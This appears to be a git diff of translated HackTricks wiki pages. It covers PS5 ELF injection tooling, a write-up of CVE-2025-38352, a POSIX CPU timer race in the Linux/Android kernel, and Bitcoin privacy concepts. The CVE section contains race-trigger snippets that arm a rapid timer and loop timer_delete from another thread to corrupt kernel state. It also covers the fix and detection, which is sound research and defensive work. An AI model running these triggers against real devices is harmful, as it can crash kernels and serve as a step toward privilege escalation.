#include <unistd.h>
|
||||
#include <ps5/klog.h>
|
||||
int main(){
|
||||
klog_printf("Hello from PID %d\n", getpid());
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## 实践注意事项
|
||||
|
||||
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) 是固件特定的,必须随每个版本更新。
|
||||
- Hypervisor 保护强制只做数据型内核写入;不要尝试修补 CR0.WP 或 CR4.SMEP。
|
||||
- JIT memory 是一种替代方案:一些进程暴露 PS5 JIT APIs 来分配可执行页面。vm_map protection flip 消除了对 JIT/mirroring 技巧的依赖。
|
||||
- 保持寄存器保存/恢复逻辑的健壮性;若失败,可能导致目标死锁或崩溃。
|
||||
|
||||
## 公共工具
|
||||
|
||||
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
|
||||
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||||
- Injector server: https://github.com/buzzer-re/NineS/
|
||||
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
|
||||
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||||
|
||||
## References
|
||||
|
||||
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||||
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||||
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||||
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||||
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||||
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||||
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||||
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,19 +1,19 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
本页面记录了 Linux/Android 上 POSIX CPU timers 中的 TOCTOU 竞态条件,该竞态可能破坏定时器状态并导致内核崩溃,在某些情况下可以被引导为权限提升。
|
||||
本页记录了一个 Linux/Android POSIX CPU timers 中的 TOCTOU 竞态条件,可能会损坏定时器状态并导致内核崩溃,在某些情况下可被引导用于提权。
|
||||
|
||||
- Affected component: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: 任务退出期间的 expiry vs deletion 竞态
|
||||
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
- 受影响的组件: kernel/time/posix-cpu-timers.c
|
||||
- 原语: 在任务退出时的 expiry vs deletion 竞态
|
||||
- 依赖配置: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
快速内部回顾(与利用相关)
|
||||
- 有三种 CPU 时钟通过 cpu_clock_sample() 驱动定时器的计账:
|
||||
内部快速回顾(与利用相关)
|
||||
- 三个 CPU 时钟通过 cpu_clock_sample() 驱动定时器的计时:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- 创建定时器时会将定时器绑定到 task/pid 并初始化 timerqueue 节点:
|
||||
- 创建定时器时会将 timer 绑定到 task/pid 并初始化 timerqueue 节点:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
@ -27,7 +27,7 @@ rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming 会将项插入到 per-base timerqueue,并可能更新 next-expiry cache:
|
||||
- Arming 将插入到 per-base timerqueue 并可能更新 next-expiry cache:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- Fast path 避免昂贵的处理,除非缓存的到期项表明可能触发:
|
||||
- 快速路径会避免进行昂贵的处理,除非缓存的过期信息表明可能会触发:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
@ -50,7 +50,7 @@ return true;
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- 过期处理会收集已到期的计时器,将它们标记为正在触发并从队列中移出;实际投递被延迟:
|
||||
- Expiration 收集已过期的计时器,将它们标记为正在触发,并将其移出队列;实际投递被延后:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
@ -69,8 +69,8 @@ return U64_MAX;
|
||||
}
|
||||
```
|
||||
两种到期处理模式
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 到期通过目标 task 上的 task_work 延后处理
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 到期在 IRQ 上下文中直接处理
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 到期通过目标任务上的 task_work 延迟处理
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 到期直接在 IRQ 上下文中处理
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
@ -114,44 +114,45 @@ spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
前提条件
|
||||
根本原因:TOCTOU,发生在 IRQ 时间到期与任务退出期间的并发删除之间
|
||||
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- 目标任务正在退出但尚未被完全回收
|
||||
- 另一个线程同时为相同的计时器调用 posix_cpu_timer_del()
|
||||
- The target task is exiting but not fully reaped
|
||||
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() 在 IRQ 上下文中为正在退出的任务触发 run_posix_cpu_timers()。
|
||||
2) collect_timerqueue() 将 ctmr->firing = 1 并将计时器移动到临时 firing 列表。
|
||||
3) handle_posix_cpu_timers() 通过 unlock_task_sighand() 释放 sighand,以便在锁外交付计时器。
|
||||
4) 在 unlock 之后立即,正在退出的任务可能被回收;一个兄弟线程执行 posix_cpu_timer_del()。
|
||||
5) 在此时间窗口内,posix_cpu_timer_del() 可能无法通过 cpu_timer_task_rcu()/lock_task_sighand() 获取 state,从而跳过检查 timer->it.cpu.firing 的正常 in-flight 保护。删除会像计时器未正在触发一样继续,导致在处理 expiry 时损坏状态,进而导致崩溃/UB。
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/未定义行为 (UB).
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- 当 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y 时,expiry 被延迟到 task_work;exit_task_work 在 exit_notify 之前运行,因此不会发生与回收重叠的 IRQ-time 情况。
|
||||
- 即便如此,如果任务已经在退出,task_work_add() 会失败;对 exit_state 进行门控使两种模式保持一致。
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- 加入早期返回,如果 current task 正在退出,则对所有处理进行门控:
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- 这阻止了正在退出的任务进入 handle_posix_cpu_timers(),从而消除了 posix_cpu_timer_del() 可能错过 it.cpu.firing 并与到期处理发生竞态的时间窗口。
|
||||
- 这可以阻止正在退出的任务进入 handle_posix_cpu_timers(),从而消除了 posix_cpu_timer_del() 可能错过 it.cpu.firing 并与 expiry processing 发生竞态的时间窗口。
|
||||
|
||||
影响
|
||||
- 在并发到期/删除期间对计时器结构的内核内存破坏可能导致立即崩溃(DoS),并且由于可对内核状态进行任意操作的机会,成为通向权限提升的强大原语。
|
||||
- 在并发的 expiry/deletion 期间,对计时器结构的内核内存破坏可能导致立即崩溃 (DoS),并且由于可以任意操纵内核状态,这也是实现 privilege escalation 的强大原语。
|
||||
|
||||
触发该漏洞(安全、可重现的条件)
|
||||
构建/配置
|
||||
- 确保 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n,并使用未包含 exit_state gating 修复的内核。
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n 并使用没有 exit_state gating 修复的内核。
|
||||
|
||||
运行时策略
|
||||
- 针对即将退出的线程并向其附加一个 CPU 计时器(每线程或全进程时钟):
|
||||
- 对于每线程: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- 对于进程范围: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- 使用非常短的初始过期时间和较小的间隔来最大化 IRQ-path 进入:
|
||||
- 针对即将退出的线程并附加一个 CPU timer(per-thread 或 process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
@ -165,31 +166,31 @@ its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- 从一个兄弟线程,在目标线程退出的同时并发删除相同的计时器:
|
||||
- 从兄弟线程并发删除相同的定时器,同时目标线程退出:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. 崩溃通常在 posix_cpu_timer_del() 在 unlock_task_sighand() 之后因任务查找/加锁失败而跳过检测 firing 时触发。
|
||||
- 竞争放大因素:高 scheduler tick 频率、CPU 负载、重复的线程退出/重建周期。崩溃通常在 unlock_task_sighand() 之后发生任务查找/加锁失败,导致 posix_cpu_timer_del() 跳过检测到 firing 时出现。
|
||||
|
||||
检测与加固
|
||||
Detection and hardening
|
||||
- Mitigation: apply the exit_state guard;在可行时优先启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK。
|
||||
- Observability: 在 unlock_task_sighand()/posix_cpu_timer_del() 周围添加 tracepoints/WARN_ONCE;当 it.cpu.firing==1 与 cpu_timer_task_rcu()/lock_task_sighand() 失败同时出现时发出告警;关注任务退出时的 timerqueue 不一致性。
|
||||
- Observability: 在 unlock_task_sighand()/posix_cpu_timer_del() 周围添加 tracepoints/WARN_ONCE;当观察到 it.cpu.firing==1 且同时 cpu_timer_task_rcu()/lock_task_sighand() 失败时发出告警;监视任务退出时的 timerqueue 不一致性。
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry;当任务在退出/回收期间查找/加锁失败时,此检查会被跳过
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
针对漏洞利用研究的说明
|
||||
- 披露的行为是一个可靠的内核崩溃原语;将其转为提权通常需要额外可控的重叠(对象生命周期或 write-what-where 等影响),超出本摘要范围。将任何 PoC 视为可能导致不稳定,且仅在仿真器/VMs 中运行。
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive;将其转为提权通常需要额外的可控重叠(对象生命周期或 write-what-where 影响),超出本摘要范围。将任何 PoC 视为可能导致不稳定,仅在 emulators/VMs 中运行。
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本概念
|
||||
|
||||
- **Smart Contracts** 指在满足特定条件时在区块链上执行的程序,能够在无需中介的情况下自动履行协议。
|
||||
- **Decentralized Applications (dApps)** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。
|
||||
- **Tokens & Coins** 区分代币与币:coins 用作数字货币,而 tokens 在特定语境中表示价值或所有权。
|
||||
- **Utility Tokens** 授予对服务的访问权,**Security Tokens** 则表示资产所有权。
|
||||
- **DeFi** 代表 Decentralized Finance,提供无需中央机构的金融服务。
|
||||
- **智能合约** 被定义为在区块链上在满足特定条件时执行的程序,自动化执行协议而无需中介。
|
||||
- **去中心化应用 (dApps)** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。
|
||||
- **代币 & 币** 的区别在于,coins 用作数字货币,而 tokens 则代表特定场景下的价值或所有权。
|
||||
- **实用型代币 (Utility Tokens)** 授予对服务的访问权限,**证券型代币 (Security Tokens)** 表示资产所有权。
|
||||
- **DeFi** 指去中心化金融,提供无需中央权威的金融服务。
|
||||
- **DEX** 和 **DAOs** 分别指去中心化交易平台和去中心化自治组织。
|
||||
|
||||
## 共识机制
|
||||
@ -16,161 +16,169 @@
|
||||
共识机制确保区块链上交易验证的安全性和一致性:
|
||||
|
||||
- **Proof of Work (PoW)** 依赖计算能力来验证交易。
|
||||
- **Proof of Stake (PoS)** 要求验证者持有一定数量的代币,与 PoW 相比降低了能耗。
|
||||
- **Proof of Stake (PoS)** 要求验证者持有一定数量的代币,与 PoW 相比减少了能耗。
|
||||
|
||||
## 比特币基础
|
||||
## 比特币要点
|
||||
|
||||
### 交易
|
||||
|
||||
比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的拥有者可以发起转账。
|
||||
比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的所有者才能发起转账。
|
||||
|
||||
#### 关键组成部分:
|
||||
|
||||
- **Multisignature Transactions** 需要多个签名来授权交易。
|
||||
- 交易由 **inputs**(资金来源)、**outputs**(目标地址)、**fees**(支付给矿工的费用)和 **scripts**(交易规则)组成。
|
||||
- **多重签名交易** 需要多个签名来授权交易。
|
||||
- 交易由 **inputs**(资金来源)、**outputs**(目的地)、**fees**(支付给矿工)和 **scripts**(交易规则)组成。
|
||||
|
||||
### Lightning Network
|
||||
|
||||
旨在通过允许在通道内进行多次交易,仅将最终状态广播到区块链,从而提升比特币的可扩展性。
|
||||
旨在通过在通道内允许多笔交易、只将最终状态广播到区块链,从而提升比特币的扩展性。
|
||||
|
||||
## 比特币隐私问题
|
||||
|
||||
隐私攻击如 **Common Input Ownership** 和 **UTXO Change Address Detection** 利用交易模式进行分析。使用 **Mixers** 和 **CoinJoin** 等策略可以通过混淆用户之间的交易关联来提升匿名性。
|
||||
隐私攻击,如 **Common Input Ownership** 和 **UTXO Change Address Detection**,利用交易模式。像 **Mixers** 和 **CoinJoin** 这样的策略通过模糊用户之间的交易关联来提高匿名性。
|
||||
|
||||
## 匿名获取比特币
|
||||
|
||||
方法包括现金交易、挖矿和使用混合服务。**CoinJoin** 将多笔交易混合以增加可追踪性的难度,而 **PayJoin** 则将 CoinJoin 伪装成普通交易以获得更高隐私性。
|
||||
方法包括现金交易、挖矿和使用 mixers。**CoinJoin** 将多笔交易混合以增加可追踪性的难度,而 **PayJoin** 将 CoinJoins 伪装成常规交易以提高隐私性。
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# 比特币隐私攻击概述
|
||||
# 比特币隐私攻击摘要
|
||||
|
||||
在比特币世界中,交易隐私和用户匿名性常常受到关注。下面是几种常见的攻击方法的简要概述,说明攻击者如何破坏比特币隐私。
|
||||
在比特币世界中,交易隐私和用户匿名性常常是关注焦点。下面是几种攻击者可能破坏比特币隐私的常见方法的简要概述。
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
由于将来自不同用户的 inputs 合并到单笔交易中通常较少见且复杂,因此 **同一交易中的两个输入地址通常被假定属于同一所有者**。
|
||||
由于操作复杂,来自不同用户的 inputs 很少被合并到同一笔交易中。因此,**同一笔交易中的两个输入地址通常被假定属于同一所有者**。
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
UTXO,即 **Unspent Transaction Output(未花费交易输出)**,在交易中必须全部被消费。如果只把它的一部分发送到另一个地址,剩余部分会发送到新的 change 地址。观察者可以假定这个新地址属于发送方,从而导致隐私泄露。
|
||||
UTXO,即 **Unspent Transaction Output**,在交易中必须被全部消费。如果仅将其中一部分发送到另一个地址,剩余部分会发送到一个新的 change address。观察者可以假定这个新地址属于发送者,从而破坏隐私。
|
||||
|
||||
### 示例
|
||||
|
||||
为减轻此问题,可以使用混合服务或使用多个地址来帮助模糊所有权。
|
||||
为缓解此问题,使用混币服务或使用多个地址可以帮助模糊所有权。
|
||||
|
||||
## **社交网络与论坛暴露**
|
||||
|
||||
用户有时会在网上分享他们的比特币地址,使得**很容易将地址与其所有者关联**。
|
||||
用户有时会在网上分享他们的比特币地址,使得**很容易将地址与其所有者关联起来**。
|
||||
|
||||
## **交易图分析**
|
||||
|
||||
交易可以被可视化为图,从资金流向中揭示用户之间的潜在关联。
|
||||
交易可以可视化为图,从资金流动中揭示用户之间的潜在关联。
|
||||
|
||||
## **不必要输入启发式(Optimal Change Heuristic)**
|
||||
## **不必要输入启发式(最佳找零启发式)**
|
||||
|
||||
该启发式基于分析含有多个 inputs 和 outputs 的交易来猜测哪个 output 是返回给发送者的找零地址。
|
||||
该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零地址。
|
||||
|
||||
### 示例
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
如果添加更多的输入使得找零输出比任何单个输入都大,会让该启发式算法产生混淆。
|
||||
如果添加更多的输入导致找零输出大于任何单个输入,它可能会混淆启发式方法。
|
||||
|
||||
## **强制地址重用**
|
||||
|
||||
攻击者可能会向以前使用过的地址发送少量比特币,希望收款人在未来的交易中将这些与其他输入合并,从而将地址关联起来。
|
||||
攻击者可能向之前使用过的地址发送少量资金,希望收款方在未来的交易中将这些与其他输入合并,从而将地址关联在一起。
|
||||
|
||||
### 正确的钱包行为
|
||||
### 钱包的正确行为
|
||||
|
||||
钱包应避免使用在已使用且为空的地址上接收到的币,以防止这种隐私 leak。
|
||||
钱包应避免使用在已被使用且为空的地址上收到的币,以防止此隐私 leak。
|
||||
|
||||
## **其他区块链分析技术**
|
||||
|
||||
- **Exact Payment Amounts:** 没有找零的交易很可能是两个属于同一用户的地址之间的交易。
|
||||
- **Round Numbers:** 交易中的整数金额表明这是一次付款,非整数的输出很可能是找零。
|
||||
- **Wallet Fingerprinting:** 不同钱包有独特的交易创建模式,分析人员可以据此识别所使用的软件并可能找出找零地址。
|
||||
- **Amount & Timing Correlations:** 披露交易时间或金额可以使交易可被追踪。
|
||||
- **Exact Payment Amounts:** 没有找零的交易很可能发生在同一用户拥有的两个地址之间。
|
||||
- **Round Numbers:** 交易中的整数金额通常表明这是一次付款,非整数输出很可能是找零。
|
||||
- **Wallet Fingerprinting:** 不同钱包在创建交易时有独特的模式,分析人员可以据此识别所用软件并可能找到找零地址。
|
||||
- **Amount & Timing Correlations:** 公开交易时间或金额会使交易更容易被追踪。
|
||||
|
||||
## **Traffic Analysis**
|
||||
## **流量分析**
|
||||
|
||||
通过监控网络流量,攻击者可能将交易或区块与 IP 地址关联,进而破坏用户隐私。如果某个实体运行大量 Bitcoin 节点,他们监视交易的能力会增强。
|
||||
通过监控网络流量,攻击者可能将交易或区块与 IP 地址关联,从而破坏用户隐私。如果某个实体运行大量 Bitcoin 节点,则其监控交易的能力会增强,这一点尤其明显。
|
||||
|
||||
## More
|
||||
|
||||
要查看全面的隐私攻击和防御列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# 匿名 Bitcoin 交易
|
||||
|
||||
## 以匿名方式获取比特币的方式
|
||||
## 获得 Bitcoins 匿名方式
|
||||
|
||||
- **Cash Transactions**: 通过现金获取比特币。
|
||||
- **Cash Alternatives**: 购买礼品卡并在线兑换为比特币。
|
||||
- **Mining**: 获得比特币最私密的方式是通过挖矿,尤其是独自挖矿,因为矿池可能会知道矿工的 IP 地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: 理论上,偷窃比特币也可能是另一种匿名获取方式,但这是非法且不推荐的。
|
||||
- **现金交易**:通过现金获取 bitcoin。
|
||||
- **现金替代品**:购买礼品卡并在线兑换为 bitcoin。
|
||||
- **Mining**:最私密的赚取 bitcoins 的方式是挖矿,尤其是单独挖矿,因为矿池可能知道矿工的 IP 地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**:理论上,偷窃 bitcoin 也可能是另一种匿名获取方式,但这是非法且不建议的。
|
||||
|
||||
## 混币服务
|
||||
|
||||
通过使用混币服务,用户可以发送比特币并收到不同的比特币作为回报,从而使追踪原始所有者变得困难。然而,这需要信任该服务不会保留日志并且确实会返还比特币。替代的混币选项包括比特币赌场。
|
||||
通过使用混币服务,用户可以**发送 bitcoins**并收到**不同的 bitcoins 作为回报**,这使得追踪原始所有者变得困难。不过,这需要信任该服务不会保留日志并且会实际返还比特币。替代的混币选项包括 Bitcoin 赌场。
|
||||
|
||||
## CoinJoin
|
||||
|
||||
CoinJoin 将来自不同用户的多个交易合并为一个,这使得试图将输入与输出匹配的工作变得复杂。尽管它有效,但具有独特输入和输出大小的交易仍可能被追踪。
|
||||
**CoinJoin** 将来自不同用户的多个交易合并为一个交易,增加了将输入与输出匹配的难度。尽管它有效,但具有独特输入和输出大小的交易仍然可能被追踪。
|
||||
|
||||
示例交易(可能使用了 CoinJoin)包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。
|
||||
可能使用了 CoinJoin 的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。
|
||||
|
||||
欲了解更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。对于以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它使用来自矿工的资金来匿名化交易。
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
|
||||
## PayJoin
|
||||
|
||||
作为 CoinJoin 的一种变体,PayJoin(或 P2EP)将两方(例如客户和商家)之间的交易伪装成普通交易,而不具有 CoinJoin 那种特征性的相等输出。这使得它极难被检测,可能使交易监控机构使用的 common-input-ownership heuristic 失效。
|
||||
作为 CoinJoin 的一种变体,**PayJoin**(或 P2EP)将两方(例如客户和商家)之间的交易伪装为普通交易,不具有 CoinJoin 那种相等输出的明显特征。这使其极难被检测,并可能使交易监视实体使用的 common-input-ownership heuristic 失效。
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
像上面这样的交易可能是 PayJoin,它在增强隐私的同时仍与标准 bitcoin 交易无法区分。
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
|
||||
**使用 PayJoin 可能会显著破坏传统的监控方法**,因此在追求交易隐私方面它是一项很有前途的发展。
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
|
||||
# 加密货币隐私最佳实践
|
||||
# 隐私相关的加密货币最佳实践
|
||||
|
||||
## **钱包同步技术**
|
||||
## **钱包与区块链同步技术**
|
||||
|
||||
为了维护隐私和安全,将钱包与区块链同步至关重要。有两种突出的同步方法:
|
||||
为了维护隐私和安全,将钱包与区块链同步至关重要。两种方法尤其值得注意:
|
||||
|
||||
- **完整节点 (Full node)**:通过下载整个区块链,完整节点能确保最大的隐私。所有历史交易都保存在本地,这使得对手无法识别用户感兴趣的是哪些交易或地址。
|
||||
- **客户端区块过滤 (Client-side block filtering)**:该方法为区块链中的每个区块创建过滤器,允许钱包识别相关交易而不会向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,只有在与用户地址匹配时才获取完整区块。
|
||||
- **Full node**:通过下载整个区块链,full node 可确保最大程度的隐私。所有历史交易都存储在本地,使对手无法确定用户关心的是哪些交易或地址。
|
||||
- **Client-side block filtering**:该方法为区块链中的每个区块创建过滤器,使钱包能够在不向网络观察者暴露具体兴趣点的情况下识别相关交易。轻量级钱包下载这些过滤器,只有在与用户地址匹配时才会获取完整区块。
|
||||
|
||||
## **使用 Tor 以实现匿名性**
|
||||
## **使用 Tor 以增强匿名性**
|
||||
|
||||
鉴于 Bitcoin 在点对点网络上运行,建议使用 Tor 来掩盖你的 IP 地址,从而在与网络交互时增强隐私。
|
||||
|
||||
## **防止地址重用**
|
||||
## **防止地址复用**
|
||||
|
||||
为了保护隐私,每笔交易使用新的地址至关重要。重用地址会通过将交易链接到同一实体而危及隐私。现代钱包通过设计来不鼓励地址重用。
|
||||
为保护隐私,每笔交易使用一个新地址非常重要。地址复用会通过将交易链接到同一实体而削弱隐私。现代钱包通过设计来劝阻地址复用。
|
||||
|
||||
## **交易隐私策略**
|
||||
|
||||
- **多笔交易 (Multiple transactions)**:将一笔支付拆分为多笔交易可以混淆交易金额,从而阻止隐私攻击。
|
||||
- **避免找零 (Change avoidance)**:选择不需要找零输出的交易可以通过打乱找零检测方法来增强隐私。
|
||||
- **多个找零输出 (Multiple change outputs)**:如果无法避免找零,生成多个找零输出仍然可以提高隐私。
|
||||
- **Multiple transactions**:将付款拆分为多笔交易可以混淆交易金额,从而挫败隐私攻击。
|
||||
- **Change avoidance**:选择不需要找零输出的交易可以增强隐私,破坏找零检测方法。
|
||||
- **Multiple change outputs**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。
|
||||
|
||||
# **Monero:匿名的灯塔**
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
|
||||
Monero 解决了数字交易中对绝对匿名性的需求,为隐私设定了高标准。
|
||||
Monero 解决了数字交易中绝对匿名的需求,为隐私设定了高标准。
|
||||
|
||||
# **Ethereum:Gas 与交易**
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **理解 Gas**
|
||||
|
||||
Gas 衡量在 Ethereum 上执行操作所需的计算量,价格以 **gwei** 计。例如,耗费 2,310,000 gwei(或 0.00231 ETH)的交易涉及 gas 限额和基础费,并可附加小费以激励矿工。用户可以设置最高费用以确保不会多付,超额部分会被退还。
|
||||
Gas 衡量在 Ethereum 上执行操作所需的计算工作量,以 **gwei** 定价。例如,花费 2,310,000 gwei(或 0.00231 ETH)的交易涉及 gas limit 和 base fee,并包含奖励矿工的 tip。用户可以设置一个 max fee 以确保不会过度支付,多余部分会被退还。
|
||||
|
||||
## **执行交易**
|
||||
|
||||
在 Ethereum 中,交易涉及发送方和接收方,两者都可以是用户地址或 smart contract 地址。交易需要支付费用并且必须被挖矿。交易中的关键信息包括接收方、发送方的签名、金额、可选数据、gas 限额和费用。值得注意的是,发送方的地址是从签名中推导出来的,因此无需在交易数据中显式包含发送方地址。
|
||||
Ethereum 中的交易涉及发送方和接收方,它们可以是用户地址或 smart contract 地址。交易需要支付费用并必须被挖矿。交易中的重要信息包括接收方、发送方的签名、value、可选数据、gas limit 和费用。值得注意的是,发送方的地址可由签名推导出来,因此不需要在交易数据中包含发送方地址。
|
||||
|
||||
这些做法和机制是任何在优先考虑隐私与安全的前提下参与加密货币的人必须掌握的基础。
|
||||
